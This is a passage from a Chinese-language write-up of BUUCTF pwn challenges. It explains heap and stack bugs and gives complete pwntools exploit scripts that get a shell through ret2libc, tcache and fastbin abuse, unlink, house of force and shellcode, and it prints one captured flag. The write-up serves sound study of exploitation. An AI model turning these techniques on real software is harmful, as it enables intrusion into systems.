free_hook = libc.sym['__free_hook'] + libc_base
one = [0x4f2c5, 0x4f322, 0x10a38c]
ogg = one[1] + libc_base
for i in range(3):
add(0x88, p64(free_hook), b'a' * 4 + p64(free_hook))
for i in range(3):
delete(3)
add(0x88, p64(free_hook), b'a' * 4 + p64(free_hook))
add(0x88, p64(ogg), b'a' * 4 + p64(ogg))
add(0x88, p64(ogg), b'a' * 4 + p64(ogg))
delete(0)
r.interactive()
axb_2019_brop64
没什么好说的就是一个单纯的ret2libc
,exp如下:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('node4.buuoj.cn', 28900)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
pop_rdi_ret = 0x0000000000400963
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main = elf.sym['main']
p = b'a' * 0xd8 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
r.sendlineafter(b'Please tell me:', p)
puts_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
libc = ELF('./2.23/lib/x86_64-linux-gnu/libc-2.23.so')
libc_base = puts_addr - libc.sym['puts']
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
ogg = one[0] + libc_base
p = b'a' * 0xd8 + p64(ogg)
r.sendlineafter(b'Please tell me:', p)
r.interactive()
ciscn_2019_final_3
检查保护,保护全开
ciscn_2019_final_3 checksec pwn
[*] '/home/starrysky/buuctf/ciscn_2019_final_3/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
查看程序是一个堆题,只有添加和删除,但是向堆内添加的时候会给出堆地址。2.27
的libc
中存在tcache
,删除函数中存在UAF
漏洞
unsigned __int64 add()
{
...
v0 = std::operator<<<std::char_traits<char>>(&std::cout, "input the index");
std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
std::istream::operator>>(&std::cin, &index);
if ( ptr[index] || index > 24 )
exit(0);
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "input the size");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
std::istream::operator>>(&std::cin, &size);
if ( size <= 0x78 )
{
v2 = index;
ptr[v2] = malloc(size);
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "now you can write something");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
sub_CBB(ptr[index], size);
puts("OK!");
printf("gift :%p\n", ptr[index]);
}
return __readfsqword(0x28u) ^ v7;
}
unsigned __int64 delete()
{
__int64 v0; // rax
unsigned int index; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
v0 = std::operator<<<std::char_traits<char>>(&std::cout, "input the index");
std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
std::istream::operator>>(&std::cin, &index);
if ( index > 24 )
exit(0);
free(ptr[index]);
return __readfsqword(0x28u) ^ v3;
}
只给出了堆地址并且限制了堆大小必须小于0x78
,第一步就是要泄露libc
地址,方法就是通过UAF
改堆的大小超过0x400
,因为超过0x400
的堆会直接进入unsorted bin
,再把这个堆申请出来即可得到libc
地址,再通过tcache
改__free_hook
为ogg
,其中,可以通过多次释放增加tcache
数组下标值绕过tcache
检查
exp如下:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('node4.buuoj.cn', 28000)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
def add(index, size, content):
r.sendlineafter(b'choice > ', b'1')
r.sendlineafter(b'input the index', str(index))
r.sendlineafter(b'input the size', str(size))
r.sendafter(b'now you can write something', content)
def delete(index):
r.sendlineafter(b'choice > ', b'2')
r.sendlineafter(b'input the index', str(index))
add(0, 0x78, b'a'*0x78)
r.recvuntil(b'0x')
heap_addr = int(r.recv(12), 16)
for i in range(9):
add(i + 1, 0x78, b'a'*0x78)
for i in range(3):
delete(0)
add(10, 0x78, p64(heap_addr - 0x8))
add(11, 0x78, p64(heap_addr - 0x8))
add(12, 0x78, p64(0x481))
delete(10)
add(13, 0x60, b'a')
r.recvuntil(b'0x')
heap_addr = int(r.recv(12), 16)
add(14, 0x60, b'a')
for i in range(4):
delete(14)
add(15, 0x60, p64(heap_addr))
for i in range(3):
add(i + 16, 0x60, b'a')
r.recvuntil(b'0x')
libc_base = int(r.recv(12), 16) - 0x3ec061
libc = ELF('./2.27/libc-2.27.so')
free_hook = libc.sym['__free_hook'] + libc_base
one = [0x4f2c5, 0x4f322, 0x10a38c]
ogg = one[1] + libc_base
add(19, 0x40, b'a')
add(20, 0x40, b'a')
for i in range(3):
delete(20)
add(21, 0x40, p64(free_hook))
add(22, 0x40, p64(free_hook))
add(23, 0x40, p64(ogg))
delete(0)
r.interactive()
axb_2019_heap
2.23
的off-by-one + unlink
unlink
一开始没学好,一题看了几个小时(好痛苦
先检查保护
axb_2019_heap checksec pwn
[*] '/home/starrysky/buuctf/axb_2019_heap/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
程序中一开始有一个格式化字符串漏洞来泄露地址代替show
函数
unsigned __int64 banner()
{
char format[12]; // [rsp+Ch] [rbp-14h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Welcome to note management system!");
printf("Enter your name: ");
__isoc99_scanf("%s", format);
printf("Hello, ");
printf(format);
puts("\n-------------------------------------");
return __readfsqword(0x28u) ^ v2;
}
接着就是增删改,要求堆数量小于十个,并且存在堆管理
.bss:0000000000202060 ?? note db ? ;
在edit
中存在漏洞,可以实现一字节的溢出,并且edit
是通过堆管理中的地址实现的
unsigned __int64 edit_note()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Enter an index:");
__isoc99_scanf("%d", &v1);
if ( v1 <= 0xA && *((_QWORD *)¬e + 2 * (int)v1) )
{
puts("Enter the content: ");
get_input(*((_QWORD *)¬e + 2 * (int)v1), *((_DWORD *)¬e + 4 * (int)v1 + 2));
puts("Done!");
}
else
{
puts("You can't hack me!");
}
return __readfsqword(0x28u) ^ v2;
}
接下来先讲讲unlink
机制,在释放一个属于unsorted bin
的堆时候会去判断它的上一个堆或下一个堆是否是释放状态,即size
位的末尾是否是0
,而判断上一个堆的位置是通过prve_size
,即当前地址减去上一个堆的大小得到上一个堆的地址,这里是可以伪造的
在unlink
操作中会存在一个检测机制,原理如下
#define unlink(AV, P, BK, FD) {
//判断chunk p的大小,是否与下一个chunk 的prev_size相等
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
malloc_printerr ("corrupted size vs. prev_size");
//让FD指向p的下一个chunk,BK指向p的上一个chunk
FD = P->fd;
BK = P->bk;
//以上是,chunk的大小在small bin范围内的断链操作
//以下是,large bin,的断链操作,首先判断FD的bk,与BK的fd是否同时指向p
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr ("corrupted double-linked list");
else {
//首先进行初步断链,使FD的bk指向BK的fd,BK的fd指向FD,只是堆fd,bk的断链操作
FD->bk = BK;
BK->fd = FD;
//以下使堆bk_nextsize,fd_nextsize的断链操作(large bin有两个双向链表,fd,bk用来
//进行FIFO操作,bk_nextsize,fd_nextsize是根据堆块的大小进行排序的链表)
//以下第一个if判断p的chunk是否在small范围内
if (!in_smallbin_range (chunksize_nomask (P))
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
//判断chunk p的下一个chunk的上一个节点,以及上一个chunk的下一个节点是不是p
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr ("corrupted double-linked list (not small)");
//以下是luoarge bin的断链操作,首先判断chunk p的下下一个chunk的fd_nextsize是否为空
if (FD->fd_nextsize == NULL) {
//p的下下一个chunk的fd_nextsize为空
if (P->fd_nextsize == P)
//判断是否只有一个chunk p,是则如下
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
//不是以下操作,四个指针,正常的双向链表的断链操作
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
//p的下下一个chunk的fd_nextsize不为空,直接断链
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}
总结:unlink
的判断:FD->bk == BK->fd
unlink
的操作:FD->bk = BK
BK->fd = FD
再回到这个题目,假设我们将fd
和bk
设置成fd = note_addr - 0x18
bk = note_addr - 0x10
,那么在判断的时候FD->bk = BK->fd = note_addr
即可绕过unlink
判断
那么在unlink
操作的时候执行完FD->bk = BK
BK->fd = FD
之后note_addr = note_addr - 0x18
,再去edit(0)
即可控制note_addr - 0x18
再次更改note_addr
的内容为__free_hook
,再次edit
即可改__free_hook
经过以上分析可知:需要获取code_base
和libc_base
,所以在一开始泄露出来就好了
exp如下
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('node4.buuoj.cn', 25480)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
def add(index, size, content):
r.sendlineafter(b'>>', b'1')
r.sendlineafter(b'Enter the index you want to create (0-10):', str(index))
r.sendlineafter(b'Enter a size:', str(size))
r.sendlineafter(b'Enter the content:', content)
def edit(index, content):
r.sendlineafter(b'>>', b'4')
r.sendlineafter(b'Enter an index:', str(index))
r.sendlineafter(b'Enter the content:', content)
def delete(index):
r.sendlineafter(b'>>', b'2')
r.sendlineafter(b'Enter an index:', str(index))
r.sendlineafter(b'Enter your name: ', b'%11$p%15$p')
r.recvuntil(b'0x')
code_base = int(r.recv(12), 16) - 0x1186
note_addr = 0x202060 + code_base
r.recvuntil(b'0x')
libc_base = int(r.recv(12), 16) - 0x20830
libc = ELF('./2.23/lib/x86_64-linux-gnu/libc-2.23.so')
free_hook = libc.sym['__free_hook'] + libc_base
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
ogg = libc_base + one[1]
system = libc.sym['system'] + libc_base
fd = note_addr - 0x18
bk = note_addr - 0x10
add(0,0x88,b'a' * 0x88)
add(1,0x88,b'b' * 0x88)
add(2,0x88,b'/bin/sh\x00')
p = p64(0) + p64(0x80)
p += p64(fd)+ p64(bk)
p = p.ljust(0x80,b'\x00') + p64(0x80)
p += p8(0x90)
edit(0, p)
delete(1)
p = p64(0) * 3 + p64(free_hook) + p64(0x10)
edit(0, p)
edit(0, p64(system))
delete(2)
r.interactive()
护网杯_2018_gettingstart
栈题,保护全开,但是利用很简单
hwb_2018_gettingstart checksec pwn
[*] '/home/starrysky/buuctf/hwb_2018_gettingstart/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
主体代码如下
__int64 __fastcall main(int a1, char **a2, char **a3)
{
__int64 buf[3]; // [rsp+10h] [rbp-30h] BYREF
__int64 v5; // [rsp+28h] [rbp-18h]
double v6; // [rsp+30h] [rbp-10h]
unsigned __int64 v7; // [rsp+38h] [rbp-8h]
...
read(0, buf, 0x28uLL);
if ( v5 == 0x7FFFFFFFFFFFFFFFLL && v6 == 0.1 )
{
printf("HuWangBei CTF 2018 will be getting start after %g seconds...\n", v6);
system("/bin/sh");
}
...
}
通过buf
覆盖v5
和v6
为指定值即可,0.1
在计算机中怎么表示我也不太会,但是看汇编
.text:0000000000000A36 48 8B 55 E8 mov rdx, [rbp+var_18]
.text:0000000000000A3A 48 B8 FF FF FF FF FF FF FF 7F mov rax, 7FFFFFFFFFFFFFFFh
.text:0000000000000A44 48 39 C2 cmp rdx, rax
.text:0000000000000A47 75 45 jnz short loc_A8E
.text:0000000000000A47
.text:0000000000000A49 F2 0F 10 45 F0 movsd xmm0, [rbp+var_10]
.text:0000000000000A4E 66 0F 2E 05 BA 01 00 00 ucomisd xmm0, cs:qword_C10
.text:0000000000000A56 7A 36 jp short loc_A8E
.text:0000000000000A56
.text:0000000000000A58 66 0F 2E 05 B0 01 00 00 ucomisd xmm0, cs:qword_C10
.text:0000000000000A60 75 2C jnz short loc_A8E
其中有一个cs:qword_C10
,双击进去就看到0.1
在计算机中的值了
.rodata:0000000000000C08 FF FF FF FF FF FF EF 7F qword_C08 dq 7FEFFFFFFFFFFFFFh ; DATA XREF: main+4D↑r
.rodata:0000000000000C10 9A 99 99 99 99 99 B9 3F qword_C10 dq 3FB999999999999Ah ; DATA XREF: main+EE↑r
exp如下:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('node4.buuoj.cn', 25389)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
p = b'a' * (0x30 - 0x18) + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3fb999999999999a)
r.sendafter(b'But Whether it starts depends on you.', p)
r.interactive()
oneshot_tjctf_2016
先检查保护,基本上没开什么保护
oneshot_tjctf_2016 checksec pwn
[*] '/home/starrysky/buuctf/oneshot_tjctf_2016/pwn'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
程序过程就是读出指定地址的内容再执行指定地址的代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 (*v4)(void); // [rsp+8h] [rbp-8h] BYREF
setbuf(stdout, 0LL);
puts("Read location?");
__isoc99_scanf("%ld", &v4);
printf("Value: 0x%016lx\n", *(_QWORD *)v4);
puts("Jump location?");
__isoc99_scanf("%ld", &v4);
puts("Good luck!");
return v4();
}
读出puts_got
再执行one gadget
即可
exp如下
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('node4.buuoj.cn', 27973)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
puts_got = elf.got['puts']
r.sendlineafter(b'Read location?', str(puts_got))
r.recvuntil(b'0x')
libc = ELF('./2.23/lib/x86_64-linux-gnu/libc-2.23.so')
libc_base = int(r.recv(16), 16) - libc.sym['puts']
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
ogg = one[0] + libc_base
r.sendlineafter(b'Jump location?', str(ogg))
r.interactive()
gyctf_2020_some_thing_exceting
2.23
的堆题,利用了double free
,感觉出题人很“脑洞大开”(思索
先检查保护,没开地址随机化
gyctf_2020_some_thing_exceting checksec pwn
[*] '/home/starrysky/buuctf/gyctf_2020_some_thing_exceting/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
再来看程序,首先读取了flag
并且保存在bss
段的变量中
unsigned __int64 get_flag()
{
FILE *stream; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
stream = fopen("/flag", "r");
if ( !stream )
{
puts("Emmmmmm!Maybe you want Fool me!");
exit(0);
}
byte_6020A0 = 96;
fgets(s, 45, stream);
return __readfsqword(0x28u) ^ v2;
}
接下来就是常规的增删查,没有改,增加函数中创建了三个堆,其中应该是堆管理,还有两个分别是ba
和na
,嗯没错就是banana
…
unsigned __int64 add()
{
int nbytes; // [rsp+Ch] [rbp-24h] BYREF
int nbytes_4; // [rsp+10h] [rbp-20h] BYREF
int i; // [rsp+14h] [rbp-1Ch]
void *buf; // [rsp+18h] [rbp-18h]
void *v5; // [rsp+20h] [rbp-10h]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u);
...
ptr[i] = malloc(0x10uLL);
printf("> ba's length : ");
_isoc99_scanf("%d", &nbytes);
...
buf = malloc(nbytes);
printf("> ba : ");
read(0, buf, (unsigned int)nbytes);
printf("> na's length : ");
_isoc99_scanf("%d", &nbytes_4);
...
printf("> na : ");
v5 = malloc(nbytes_4);
read(0, v5, (unsigned int)nbytes_4);
*(_QWORD *)ptr[i] = buf;
*((_QWORD *)ptr[i] + 1) = v5;
...
}
删除操作中存在UAF
漏洞
unsigned __int64 delete()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
...
printf("> Banana ID : ");
_isoc99_scanf("%d", &v1);
...
free(*(void **)ptr[v1]);
free(*((void **)ptr[v1] + 1));
free(ptr[v1]);
...
}
查操作中输出的内容的地址是通过ptr
这个堆管理中的地址来索引的
unsigned __int64 show()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
...
printf("> Banana ID : ");
printf("> SCP project ID : ");
_isoc99_scanf("%d", &v1);
...
printf("# Banana's ba is %s\n", *(const char **)ptr[v1]);
printf("# Banana's na is %s\n", *((const char **)ptr[v1] + 1));
...
}
通过以上的分析可以大致想到本题的目的就是控制ptr
堆管理中的堆指向的堆变成bss
段上的s
,并且通过show
函数输出,通过UAF
漏洞可以修改并申请fast bin
中的堆地址,再输出就完成了,其中需要注意的是fast bin
会检查申请的大小与取出的堆的size
位是否一致,此时需要通过find fake fast
寻找最近的fake chunk
,并且需要使size
和申请的堆大小一致
pwndbg> find_fake_fast 0x6020A8
FAKE CHUNKS
Fake chunk
Addr: 0x602098
prev_size: 0x00
size: 0x60 (with flag bits: 0x60)
fd: 0x7365747b67616c66
bk: 0xa7d74
fd_nextsize: 0x00
bk_nextsize: 0x00
该地址是s - 0x10
,申请出来之后会要求向堆中写入内容,即向s
写入,因为flag
的格式开头第一个字母都是f
,所以直接覆盖成f
即可
exp如下
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('node4.buuoj.cn', 27418)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
def add(size1, content1, size2, content2):
r.sendlineafter(b'Now please tell me what you want to do :', b'1')
r.sendlineafter(b"ba's length : ", str(size1))
r.sendafter(b'ba : ', content1)
r.sendlineafter(b"na's length : ", str(size2))
r.sendafter(b'na : ', content2)
def show(index):
r.sendlineafter(b'Now please tell me what you want to do :', b'4')
r.sendlineafter(b'Banana ID : > SCP project ID : ', str(index))
def delete(index):
r.sendlineafter(b'Now please tell me what you want to do :', b'3')
r.sendlineafter(b'Banana ID : ', str(index))
flag = 0x6020A8
add(0x50, b'a', 0x50, b'a')
add(0x50, b'a', 0x50, b'a')
delete(0)
delete(1)
delete(0)
add(0x50, p64(flag - 0x10), 0x20, b'a' * 0x20)
add(0x50, b'f', 0x50, b'f')
add(0x50, b'f', 0x50, b'f')
show(0)
r.interactive()
wustctf2020_number_game
这题…看题目就能猜到应该是整型溢出,没开地址随机化
wustctf2020_number_game checksec pwn
[*] '/home/starrysky/buuctf/wustctf2020_number_game/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
查看程序,要求数值小于零,直接上网查了32
位的最小值-2147483648
,然后就对了,过程如下
wustctf2020_number_game nc node4.buuoj.cn 28416
__ ___ ______ ___
/ |/ /__ /_ __/__< /_ __
/ /|_/ / _ `// / / __/ /\ \ /
/_/ /_/\_,_//_/ /_/ /_//_\_\
-2147483648
cat flag
flag{a644cec2-87c2-43e0-93ac-d100b5bec8c5}
starctf_2019_babyshell
直接写入shellcode
然后执行,需要注意的是有个检查
__int64 __fastcall sub_400786(_BYTE *a1)
{
_BYTE *i; // [rsp+18h] [rbp-10h]
while ( *a1 )
{
for ( i = &loc_400978; *i && *i != *a1; ++i )
;
if ( !*i )
return 0LL;
++a1;
}
return 1LL;
}
限制太多了必须想办法绕过这个检查,可以想到通过\x00
绕过,但是\x00
执行不了,直接把给定字符串强制转换成code
.rodata:0000000000400978 loc_400978: ; DATA XREF: check+8↑o
.rodata:0000000000400978 5A pop rdx
.rodata:0000000000400979 5A pop rdx
.rodata:000000000040097A 4A 20 6C 6F 76 and [rdi+r13*2+76h], bpl
.rodata:000000000040097F db 65h
.rodata:000000000040097F 65 73 20 jnb short near ptr loc_40099B+7
.rodata:000000000040097F
.rodata:0000000000400982 73 68 jnb short near ptr unk_4009EC
.rodata:0000000000400982
.rodata:0000000000400984 db 65h
.rodata:0000000000400984 65 6C insb
.rodata:0000000000400986 6C insb
.rodata:0000000000400987 5F pop rdi
.rodata:0000000000400988 63 6F 64 movsxd ebp, dword ptr [rdi+64h]
.rodata:000000000040098B db 65h
.rodata:000000000040098B 65 2C 61 sub al, 61h ; 'a'
.rodata:000000000040098E 6E outsb
.rodata:000000000040098F 64 20 68 65 and fs:[rax+65h], ch
.rodata:0000000000400993 72 65 jb short near ptr unk_4009FA
.rodata:0000000000400993
.rodata:0000000000400995 20 69 73 and [rcx+73h], ch
.rodata:0000000000400998 20 61 20 and [rcx+20h], ah
.rodata:000000000040099B
.rodata:000000000040099B loc_40099B: ; CODE XREF: .rodata:000000000040097F↑j
.rodata:000000000040099B 67 69 66 74 3A 0F 05 20 imul esp, [esi+74h], 20050F3Ah
.rodata:00000000004009A3 65 6E outs dx, byte ptr gs:[rsi]
.rodata:00000000004009A5 6A 6F push 6Fh ; 'o'
.rodata:00000000004009A7 79 20 jns short near ptr format+3 ; "ng shellcode!"
.rodata:00000000004009A7
.rodata:00000000004009A7 ; ---------------------------------------------------------------------------
.rodata:00000000004009A9 69 db 69h ; i
.rodata:00000000004009AA ; ---------------------------------------------------------------------------
.rodata:00000000004009AA 74 21 jz short near ptr format+7 ; "hellcode!"
.rodata:00000000004009AA
.rodata:00000000004009AC 0A 00 or al, [rax]
原字符串中含有\x0f\x05
,即syscall
,想到执行sys read
,但是构造的中途就有\x00
了,能正常执行就行,直接加shellcode
exp如下
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('node4.buuoj.cn', 29397)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
shellcode = asm(shellcraft.sh())
r.sendafter(b'give me shellcode, plz:', b'\x6a\x00\x5f' + shellcode)
r.interactive()
wustctf2020_name_your_dog
32
位的栈题,没开地址随机化
wustctf2020_name_your_dog checksec pwn
[*] '/home/starrysky/buuctf/wustctf2020_name_your_dog/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
分析题目,主要就两个函数,vulnerable
调用了Namewhich
函数,传入的参数是bss
段的变量,题目中还存在后门函数
int vulnerable()
{
int result; // eax
int i; // [esp+8h] [ebp-10h]
int v2; // [esp+Ch] [ebp-Ch]
result = puts("I bought you five male dogs.Name for them?");
for ( i = 1; i <= 5; ++i )
{
v2 = NameWhich((int)&Dogs);
printf("You get %d dogs!!!!!!\nWhatever , the author prefers cats ^.^\n", i);
result = printf("His name is:%s\n\n", (const char *)(8 * v2 + 0x804A060));
}
return result;
}
int __cdecl NameWhich(int a1)
{
int v2[4]; // [esp+18h] [ebp-10h] BYREF
v2[1] = __readgsdword(0x14u);
printf("Name for which?\n>");
__isoc99_scanf("%d", v2);
printf("Give your name plz: ");
__isoc99_scanf("%7s", 8 * v2[0] + a1);
return v2[0];
}
在选择输入哪个的时候并没有限制输入值在1-5
,所以直接去覆盖scanf
的got
表到后面函数地址即可
exp如下
from pwn import *
context(arch='i386', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('node4.buuoj.cn', 27510)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
dog = 0x804A060
shell = 0x80485CB
printf_got = elf.got['printf']
choice = -7
r.sendlineafter(b'Name for which?', str(choice))
r.sendlineafter(b'Give your name plz: ', p32(shell))
r.interactive()
gyctf_2020_force
这题难倒不是很难,但是太太太折磨人啦!!!
看到题目就想到堆里的house_of_force
,利用top chunk
攻击,条件是可以溢出到top_chunk、可以申请任意大小的堆块,将top chunk
堆大小改成-1
之后申请到所需地址即可实现任意地址写
本题相当于只有一个add
函数,并且限制了输入大小0x50
unsigned __int64 add()
{
const void **i; // [rsp+0h] [rbp-120h]
__int64 size; // [rsp+8h] [rbp-118h]
char s[256]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v4; // [rsp+118h] [rbp-8h]
v4 = __readfsqword(0x28u);
memset(s, 255, sizeof(s));
for ( i = (const void **)&unk_202080; *i; ++i )
;
if ( (char *)i - (char *)&unk_202080 > 39 )
exit(0);
puts("size");
read(0, nptr, 0xFuLL);
size = atol(nptr);
*i = malloc(size);
if ( !*i )
exit(0);
printf("bin addr %p\n", *i);
puts("content");
read(0, (void *)*i, 0x50uLL);
puts("done");
return __readfsqword(0x28u) ^ v4;
}
首先就是要先泄露libc
,题目中可以输出创建的堆的地址,当堆大小大于0x20000
的时候就会通过mmap
创建堆并且位置与libc
之间的偏移固定,通过这一点就可以得到libc
基址
接下来只要通过top chunk
申请到__malloc_hook
改为ogg
即可,但是尝试了所有的ogg
包括使用one_gadget -l2
输出了更多的ogg
依然不行
在网上看了别人的wp
发现条件没满足的时候可以通过realloc
来调整是的满足对rsp
的要求,因为realloc
中存在sub rsp, 38h
所以本题的思路就是改__malloc_hook
为realloc + 0x10
,并且改__realloc__hook
为ogg
exp如下
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('node4.buuoj.cn', 25442)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
def add(size, content):
r.sendlineafter(b'2:puts', b'1')
r.sendlineafter(b'size', str(size))
r.sendafter(b'content', content)
r.sendlineafter(b'2:puts', b'1')
r.sendlineafter(b'size', str(0x200000))
r.recvuntil(b'0x')
libc_base = int(r.recv(12), 16) + 0x200ff0
li(hex(libc_base))
libc = ELF('./2.23/lib/x86_64-linux-gnu/libc-2.23.so')
gadget = 0x4526a + libc_base
realloc = libc.sym['realloc'] + libc_base
realloc_hook = libc.sym['__realloc_hook'] + libc_base
r.sendafter(b'content', b'\x00')
r.sendlineafter(b'2:puts', b'1')
r.sendlineafter(b'size', str(0x18))
r.recvuntil(b'0x')
top_chunk = int(r.recv(12), 16) + 0x10
p = b'\x00' * 0x18 + p64(0xffffffffffffffff)
r.sendafter(b'content', p)
size = realloc_hook - top_chunk - 0x20
add(size, b'a')
add(0x18, b'a' * 0x8 + p64(gadget) + p64(realloc + 0x10))
r.sendlineafter(b'2:puts', b'1')
r.sendlineafter(b'size', str(0x20))
r.interactive()
鹏城杯_2018_code
这是一个…81分的题…(你不说我还以为1分呢
感觉难点就在过一个判断,过了这个判断之后直接ret2libc
if ( angr_hash() == 0x53CBEB035LL )
break;
__int64 angr_hash()
{
int v1; // [rsp+10h] [rbp-10h]
int i; // [rsp+14h] [rbp-Ch]
__int64 v3; // [rsp+18h] [rbp-8h]
v3 = 0LL;
v1 = strlen(str);
for ( i = 0; i < v1; ++i )
v3 = (0x75 * v3 + str[i]) % 0x1D5E0C579E0LL;
return v3;
}
对str
也有一个check
,总的来说就是字母就行
__int64 check_str()
{
int v1; // [rsp+8h] [rbp-8h]
int i; // [rsp+Ch] [rbp-4h]
v1 = strlen(str);
for ( i = 0; i < v1; ++i )
{
if ( str[i] <= 64 )
return 0LL;
if ( str[i] > 90 && str[i] <= 96 )
return 0LL;
if ( str[i] > 122 )
return 0LL;
}
return 1LL;
}
我也不知道怎么计算快捷一点,我直接试了一堆数把答案凑出来的…
exp如下
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
libc = ELF('./2.27/libc-2.27.so')
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('node4.buuoj.cn', 29398)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
